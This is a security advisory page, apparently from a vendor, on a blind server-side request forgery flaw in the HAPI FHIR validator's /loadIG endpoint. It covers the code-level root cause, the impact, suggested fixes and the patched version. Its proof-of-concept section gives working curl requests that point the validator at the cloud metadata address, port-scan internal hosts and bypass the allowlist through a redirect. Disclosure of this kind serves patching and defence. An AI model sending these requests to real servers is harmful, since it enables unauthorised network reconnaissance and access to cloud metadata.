CVE-2026-34360 — org.hl7.fhir.core
MEDIUMCVE-2026-34360 is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.core. A fix is available for ca.uhn.hapi.fhir:org.hl7.fhir.core — see the affected versions and patch details below.
HAPI FHIR: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34360.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-34360 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
ca.uhn.hapi.fhir:org.hl7.fhir.coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.
Details
Root cause chain:
LoadIGHTTPHandler.handle()reads theigfield from user-supplied JSON and passes it directly toIgLoader.loadIg()with no validation:
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);
-
loadIg()callsloadIgSource(srcPackage, recursive, true)withexplore=true(IgLoader.java:153). -
loadIgSource()checksCommon.isNetworkPath(src)which only verifies the URL starts withhttp:orhttps:— no host/IP validation (Common.java:14-16). -
The URL reaches
ManagedWebAccess.get()which callsinAllowedPaths(). This check is a no-op by default becauseallowedDomainsis initialized as an empty list, and the code explicitly returnstruewhen empty:
// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
if (allowedDomains.isEmpty()) {
return true; // DEFAULT: all domains allowed
}
// ...
}
The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.
SimpleHTTPClient.get()makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated againstinAllowedPaths():
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
HttpURLConnection.HTTP_MOVED_TEMP,
307, 308:
String location = connection.getHeaderField("Location");
url = new URL(originalUrl, location); // No domain re-validation
continue;
- The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):
server = HttpServer.create(new InetSocketAddress(port), 0);
- Errors propagate back to the attacker with exception details:
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);
Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.
PoC
- Start the FHIR Validator in HTTP server mode:
java -jar validator_cli.jar -server -port 8080
- Probe a cloud metadata endpoint:
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://169.254.169.254/latest/meta-data/"}'
Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).
- Port scan an internal host:
# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:8080/"}'
# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:9999/"}'
- Redirect bypass (if allowedDomains were configured):
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://allowed-domain.com/redir"}'
The validator follows the redirect to the internal target without re-checking the domain allowlist.
Impact
An unauthenticated attacker with network access to the FHIR Validator HTTP service can:
- Probe internal network services — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)
- Access cloud metadata endpoints — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position
- Map internal network topology — systematically enumerate internal hosts and services
- Bypass domain restrictions via redirects — even if allowedDomains is configured, redirect following does not re-validate targets
- Amplify reconnaissance — each
/loadIGcall withexplore=truegenerates multiple outbound requests (package.tgz, JSON, XML variants)
This is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.
Recommended Fix
- Add URL validation in
LoadIGHTTPHandlerbefore passing toloadIg()— reject private/internal IP ranges and non-standard ports:
// LoadIGHTTPHandler.java — add before line 43
if (Common.isNetworkPath(ig)) {
URL url = new URL(ig);
InetAddress addr = InetAddress.getByName(url.getHost());
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
sendOperationOutcome(exchange, 400,
OperationOutcomeUtilities.createError("URL targets a private/internal address"),
getAcceptHeader(exchange));
return;
}
}
- Re-validate redirect targets in
SimpleHTTPClient.get()— checkinAllowedPaths()for each redirect URL:
// SimpleHTTPClient.java — inside the redirect case (after line 98)
url = new URL(originalUrl, location);
if (!ManagedWebAccess.inAllowedPaths(url.toString())) {
throw new IOException("Redirect target '" + url + "' is not in allowed domains");
}
-
Configure
allowedDomainsby default to restrict outbound requests to known FHIR registries (e.g.,packages.fhir.org,hl7.org), or require explicit opt-in for open access. -
Add authentication to the HTTP service, at minimum for state-changing endpoints like
/loadIG.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | ca.uhn.hapi.fhir:org.hl7.fhir.core | all versions | 6.9.4ca.uhn.hapi.fhir:org.hl7.fhir.core:6.9.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ca.uhn.hapi.fhir:org.hl7.fhir.core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ca.uhn.hapi.fhir:org.hl7.fhir.core to 6.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34360 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34360 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-34360. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-34360 in your dependencies?
O3 Security finds CVE-2026-34360 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.